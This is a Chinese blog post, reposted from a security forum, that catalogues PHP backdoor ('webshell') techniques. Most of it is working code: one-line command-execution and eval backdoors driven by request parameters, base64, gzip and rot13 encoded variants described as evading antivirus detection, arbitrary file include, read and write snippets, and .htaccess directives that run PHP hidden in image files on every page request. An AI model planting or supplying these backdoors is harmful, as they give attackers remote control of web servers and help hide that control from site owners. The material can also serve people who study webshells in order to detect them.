• 浅析php后门木马


    浅析php后门木马

    作者:alibaba  首发:t00ls.net , 转载请注明t00ls

    php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢?

    php后门木马常用的函数大致上可分为四种类型:

    1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open

    2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

    3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

    4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

    1. 执行系统命令:

    system 函数

    //test.php?cmd=ls

    system($_GET[cmd]);

    passthru 函数

    //test.php?cmd=ls

    passthru($_GET[cmd]);

    shell_exec 函数

    //test.php?cmd=ls

    echo shell_exec($_GET[cmd]);

    exec 函数

    //test.php?cmd=ls

    $arr = array();

    exec($_GET[cmd],$arr);

    print_r($arr);

    popen 函数

    //test.php?cmd=ls

    $handle = popen('$_GET[cmd], 'r');

    $read = fread($handle, 2096);

    echo $read;

    pclose($handle);

    proc_open 函数

    //test.php?cmd=ls

    $descriptorspec = array(

           0 => array('pipe', 'r'),

           1 => array('pipe', 'w'),

           2 => array('pipe', 'w'),

        );

    $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);

    fclose($pipes[0]);

    $output = array();

    while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024)," "));

    print_r($output);

    2. 代码执行与加密:

    eval 函数

    //最常见的一句话木马

    eval($_POST[cmd]);

    base64_decode 函数

    //为了免杀及隐藏而加密代码

    //密文: eval($_POST['cmd']);

    eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

    gzinflate 函数

    //为了免杀及隐藏而加密代码

    //密文: eval($_POST['cmd']);

    eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

    gzuncompress 函数

    //为了免杀及隐藏而加密代码

    //密文: eval($_POST['cmd']);

    eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

    gzdecode 函数

    //为了免杀及隐藏而加密代码

    //密文: eval($_POST['cmd']);

    eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

    str_rot13 函数

    //为了免杀及隐藏而加密代码

    //密文: eval($_POST[cmd]);

    eval(str_rot13('riny($_CBFG[pzq]);'));

    assert 函数

    //类似eval函数

    assert($_POST[cmd]);

    call_user_func 函数

    //使用call_user_func调用assert

    call_user_func('assert',$_POST[cmd]);

    call_user_func 函数

    //使用call_user_func调用任意函数

    //test.php?a=assert&cmd=phpinfo()

    call_user_func($_GET[a],$_REQUEST[cmd]);

    组合代码

    //组合方式调用任意函数

    //test.php?a=assert&cmd=phpinfo()

    $_GET[a]($_REQUEST[cmd]);

    3. 文件包含与生成:

    require 函数

    //包含任意文件

    //test.php?file=123.jpg

    require($_GET[file]);

    require_once 函数

    //包含任意文件

    //test.php?file=123.jpg

    require_once($_GET[file]);

    include 函数

    //包含任意文件

    //test.php?file=123.jpg

    include($_GET[file]);

    include_once 函数

    //包含任意文件

    //test.php?file=123.jpg

    include_once($_GET[file]);

    file_get_contents 函数

    //读取任意文件

    //test.php?f=config.inc.php

    echo file_get_contents($_GET['f']);

    file_put_contents 函数

    //生成任意内容文件

    //a=test.php&b=<?php eval($_POST[cmd]);?>

    file_put_contents($_GET[a],$_GET[b]);

    fputs 函数

    //生成任意内容文件

    //a=test.php&b=<?php eval($_POST[cmd]);?>

    fputs(fopen($_GET[a],"w"),$_GET[b]);

    4. .htaccess:

    SetHandler

    //可将php代码存于非php后缀文件,例: x.jpg

    //将以下代码写入.htaccess中

    //连接x.jpg即可启动后门木马

    <FilesMatch "x.jpg">

    SetHandler application/x-httpd-php

    </FilesMatch>

    auto_prepend_file

    //可将php代码存于非php后缀文件,例: 123.gif

    //将以下代码写入.htaccess中, 文件路径必须是绝对路径

    //访问网站上任何php文件都会启动该php后门木马

    //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马

    php_value auto_prepend_file c:/apache2/htdocs/123.gif

    auto_append_file

    //类似auto_prepend_file

    //可将php代码存于非php后缀文件,例: 123.gif

    //将以下代码写入.htaccess中, 文件路径必须是绝对路径

    //访问网站上任何php文件都会启动该php后门木马

    php_value auto_append_file c:/apache2/htdocs/123.gif

  • 相关阅读:
    CAP 与数据一致性
    C++的构造函数为何不能为虚函数
    构造函数和析构函数中可以调用调用虚函数吗
    HTTP状态码
    C++ 单例模式实现
    【转】十大经典排序算法
    C++ short/int/long/long long 等数据类型大小
    块/文件/对象三种存储的优缺点
    罗振宇《时间的朋友》2019-2020
    Google Hacking
  • 原文地址:https://www.cnblogs.com/gzmg/p/3439133.html
Copyright © 2020-2023  润新知